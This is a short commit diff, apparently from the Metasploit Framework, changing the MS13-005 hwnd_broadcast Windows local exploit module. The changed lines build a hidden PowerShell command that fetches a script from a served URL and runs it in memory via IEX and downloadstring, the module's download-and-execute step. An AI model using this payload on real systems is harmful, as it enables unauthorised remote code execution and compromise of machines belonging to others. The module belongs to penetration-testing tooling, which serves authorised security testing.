Update hwnd_broadcast to use generated powershell command line.

modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb

@@ -171,7 +171,11 @@ class Metasploit3 < Msf::Exploit::Local
   def primer
     url = get_uri()
     download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
-    command = "powershell.exe -w hidden -nop -c #{download_and_run}"
+    command = generate_psh_command_line({
+      :noprofile => true,
+      :windowstyle => 'hidden',
+      :command => download_and_run
+    })
     make_it(command)
   end